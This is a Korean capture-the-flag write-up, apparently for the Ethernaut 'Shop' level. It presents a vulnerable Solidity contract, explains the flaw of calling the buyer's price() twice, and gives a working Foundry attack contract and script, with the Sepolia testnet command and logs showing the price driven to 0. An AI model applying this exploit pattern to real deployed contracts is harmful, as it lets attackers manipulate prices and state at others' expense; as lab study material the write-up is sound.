1. 문제

물건을 싸게 사라!!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

2. 문제 파악

if (_buyer.price() >= price && !isSold) {
    isSold = true;
    price = _buyer.price();
}

price를 작은 값으로 세팅하는 것이 목표이다

_buyer.price() 값이 처음에는 price보다 크거나 같아야 하기 때문에 100으로 나오게 하고

_buyer.price() 값이 나중에는 0으로 세팅 되도록 코드를 작성하면 된다.

3. ShopScript

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "../src/Shop.sol";
import {Script, console} from "forge-std/Script.sol";

contract Attack is Buyer {
    Shop public shop;

    constructor(address _shop) {
        shop = Shop(_shop);
    }

    function price() external view returns (uint256) {
        return shop.isSold() ? 0 : 100;
    }

    function attack() public {
        shop.buy();
    }
}

contract ShopScript is Script {

    address private constant SHOP_ADDRESS = 0xc28A7E3A97c043383e2F1121B263eFF74c920b7a;

    function run() public {
        vm.startBroadcast();

        console.log("before");
        console.log("isSold: %s", Shop(SHOP_ADDRESS).isSold());
        console.log("buyer price: %d", Shop(SHOP_ADDRESS).price());

        Attack attack = new Attack(SHOP_ADDRESS);
        attack.attack();

        console.log("after");
        console.log("isSold: %s", Shop(SHOP_ADDRESS).isSold());
        console.log("buyer price: %d", Shop(SHOP_ADDRESS).price());

        vm.stopBroadcast();
    }
}

4. 문제 풀이

문제 풀이 순서

  1. ShopScript 실행
forge script script/Shop.s.sol:ShopScript --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY --broadcast
> [...success]
== Logs ==

  before
  isSold: false
  buyer price: 100

  after
  isSold: true
  buyer price: 0